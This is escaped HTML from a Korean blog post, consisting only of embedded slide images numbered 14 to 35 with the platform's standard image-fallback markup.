&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드14.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUamwj/btrfjXbz6mn/3mIKTepwxQJWujbx67tuxk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUamwj/btrfjXbz6mn/3mIKTepwxQJWujbx67tuxk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUamwj/btrfjXbz6mn/3mIKTepwxQJWujbx67tuxk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUamwj%2FbtrfjXbz6mn%2F3mIKTepwxQJWujbx67tuxk%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드14.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드15.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYjL7M/btrfnbmz7Rg/TBwYFdpVMmqWxJlsDpauK0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYjL7M/btrfnbmz7Rg/TBwYFdpVMmqWxJlsDpauK0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYjL7M/btrfnbmz7Rg/TBwYFdpVMmqWxJlsDpauK0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYjL7M%2Fbtrfnbmz7Rg%2FTBwYFdpVMmqWxJlsDpauK0%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드15.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드16.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bclLMX/btrfluGXEfr/47CkyGx6SjFqBnZPU1QEs0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bclLMX/btrfluGXEfr/47CkyGx6SjFqBnZPU1QEs0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bclLMX/btrfluGXEfr/47CkyGx6SjFqBnZPU1QEs0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbclLMX%2FbtrfluGXEfr%2F47CkyGx6SjFqBnZPU1QEs0%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드16.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드17.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ck9bmk/btrfnmVJBJa/p4K67LxmMQnWGb6RM2gyzk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ck9bmk/btrfnmVJBJa/p4K67LxmMQnWGb6RM2gyzk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ck9bmk/btrfnmVJBJa/p4K67LxmMQnWGb6RM2gyzk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fck9bmk%2FbtrfnmVJBJa%2Fp4K67LxmMQnWGb6RM2gyzk%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드17.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드18.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bniSl2/btrfnPJS8F4/ZTPVMPtYNTMxoffHtDY4d0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bniSl2/btrfnPJS8F4/ZTPVMPtYNTMxoffHtDY4d0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bniSl2/btrfnPJS8F4/ZTPVMPtYNTMxoffHtDY4d0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbniSl2%2FbtrfnPJS8F4%2FZTPVMPtYNTMxoffHtDY4d0%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드18.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드19.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqGagh/btrfnwRiHZv/L5gaUmIg5I8qtVkM6mPcp1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqGagh/btrfnwRiHZv/L5gaUmIg5I8qtVkM6mPcp1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqGagh/btrfnwRiHZv/L5gaUmIg5I8qtVkM6mPcp1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqGagh%2FbtrfnwRiHZv%2FL5gaUmIg5I8qtVkM6mPcp1%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드19.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드20.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9i9iC/btrfluNJxZk/pJmdF37bKaJQDNON86WBZ1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9i9iC/btrfluNJxZk/pJmdF37bKaJQDNON86WBZ1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9i9iC/btrfluNJxZk/pJmdF37bKaJQDNON86WBZ1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9i9iC%2FbtrfluNJxZk%2FpJmdF37bKaJQDNON86WBZ1%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드20.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드21.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OknKw/btrfnxJsDJa/teros1ocKKJylswLaPVh30/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OknKw/btrfnxJsDJa/teros1ocKKJylswLaPVh30/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OknKw/btrfnxJsDJa/teros1ocKKJylswLaPVh30/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOknKw%2FbtrfnxJsDJa%2Fteros1ocKKJylswLaPVh30%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드21.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드22.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nqVjv/btrfmOE94Cd/YeHZfLcMHaCJ9J4oBHLXrK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nqVjv/btrfmOE94Cd/YeHZfLcMHaCJ9J4oBHLXrK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nqVjv/btrfmOE94Cd/YeHZfLcMHaCJ9J4oBHLXrK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnqVjv%2FbtrfmOE94Cd%2FYeHZfLcMHaCJ9J4oBHLXrK%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드22.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드23.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwycVe/btrfn3umrHe/sFzE3OMXwI1kqk0KM7JoJK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwycVe/btrfn3umrHe/sFzE3OMXwI1kqk0KM7JoJK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwycVe/btrfn3umrHe/sFzE3OMXwI1kqk0KM7JoJK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwycVe%2Fbtrfn3umrHe%2FsFzE3OMXwI1kqk0KM7JoJK%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드23.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드24.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RDMyv/btrfjcNz2zJ/jwFkVVjvQbDjc7qR0OsFg1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RDMyv/btrfjcNz2zJ/jwFkVVjvQbDjc7qR0OsFg1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RDMyv/btrfjcNz2zJ/jwFkVVjvQbDjc7qR0OsFg1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRDMyv%2FbtrfjcNz2zJ%2FjwFkVVjvQbDjc7qR0OsFg1%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드24.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드25.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cxUBjh/btrfjc7P4GX/JM30szhiubjIggTTtJOub1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cxUBjh/btrfjc7P4GX/JM30szhiubjIggTTtJOub1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cxUBjh/btrfjc7P4GX/JM30szhiubjIggTTtJOub1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcxUBjh%2Fbtrfjc7P4GX%2FJM30szhiubjIggTTtJOub1%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드25.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드26.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dwGppW/btrfmPc0qc5/yJ9igU1iMdzFKHk6jhZzsk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dwGppW/btrfmPc0qc5/yJ9igU1iMdzFKHk6jhZzsk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dwGppW/btrfmPc0qc5/yJ9igU1iMdzFKHk6jhZzsk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdwGppW%2FbtrfmPc0qc5%2FyJ9igU1iMdzFKHk6jhZzsk%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드26.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드27.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brYPH4/btrfjVLzmQw/Pfg6Xl35FMS2PVqIUBNak1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brYPH4/btrfjVLzmQw/Pfg6Xl35FMS2PVqIUBNak1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brYPH4/btrfjVLzmQw/Pfg6Xl35FMS2PVqIUBNak1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrYPH4%2FbtrfjVLzmQw%2FPfg6Xl35FMS2PVqIUBNak1%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드27.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드28.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mELlz/btrfnmOUmZF/VxIGakVLv2NPJctVotawGk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mELlz/btrfnmOUmZF/VxIGakVLv2NPJctVotawGk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mELlz/btrfnmOUmZF/VxIGakVLv2NPJctVotawGk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmELlz%2FbtrfnmOUmZF%2FVxIGakVLv2NPJctVotawGk%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드28.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드29.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qlfSX/btrfjc7P4Mf/tuHR8ZVKjnK5J6jjohUx9K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qlfSX/btrfjc7P4Mf/tuHR8ZVKjnK5J6jjohUx9K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qlfSX/btrfjc7P4Mf/tuHR8ZVKjnK5J6jjohUx9K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqlfSX%2Fbtrfjc7P4Mf%2FtuHR8ZVKjnK5J6jjohUx9K%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드29.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드30.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/N2Mug/btrfnNL4Yf9/ycjfJrka4ryzlCOKlkBeW1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/N2Mug/btrfnNL4Yf9/ycjfJrka4ryzlCOKlkBeW1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/N2Mug/btrfnNL4Yf9/ycjfJrka4ryzlCOKlkBeW1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FN2Mug%2FbtrfnNL4Yf9%2FycjfJrka4ryzlCOKlkBeW1%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드30.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드31.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bs9ICW/btrfnPpz04p/26VEy0qxGMKMqMukjeTWP0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bs9ICW/btrfnPpz04p/26VEy0qxGMKMqMukjeTWP0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bs9ICW/btrfnPpz04p/26VEy0qxGMKMqMukjeTWP0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbs9ICW%2FbtrfnPpz04p%2F26VEy0qxGMKMqMukjeTWP0%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드31.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드32.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oe208/btrfnbfO77I/BKDEdpcJmQ2N8O32nw8USk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oe208/btrfnbfO77I/BKDEdpcJmQ2N8O32nw8USk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oe208/btrfnbfO77I/BKDEdpcJmQ2N8O32nw8USk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Foe208%2FbtrfnbfO77I%2FBKDEdpcJmQ2N8O32nw8USk%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드32.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드33.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/druyOu/btrfnceLbKW/79IQyEqgK7tcMQvSFkDZd1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/druyOu/btrfnceLbKW/79IQyEqgK7tcMQvSFkDZd1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/druyOu/btrfnceLbKW/79IQyEqgK7tcMQvSFkDZd1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdruyOu%2FbtrfnceLbKW%2F79IQyEqgK7tcMQvSFkDZd1%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드33.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드34.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGZ6gV/btrfjcz1g3B/551NsECNCdYY19outJF1jk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGZ6gV/btrfjcz1g3B/551NsECNCdYY19outJF1jk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGZ6gV/btrfjcz1g3B/551NsECNCdYY19outJF1jk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGZ6gV%2Fbtrfjcz1g3B%2F551NsECNCdYY19outJF1jk%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드34.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드35.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k2dKn/btrfnm2u7CL/hqPKnMZm2vOJTBqceGyVLk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k2dKn/btrfnm2u7CL/hqPKnMZm2vOJTBqceGyVLk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k2dKn/btrfnm2u7CL/hqPKnMZm2vOJTBqceGyVLk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk2dKn%2Fbtrfnm2u7CL%2FhqPKnMZm2vOJTBqceGyVLk%2Fimg.jpg&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-filename=&quot;슬라이드35.JPG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
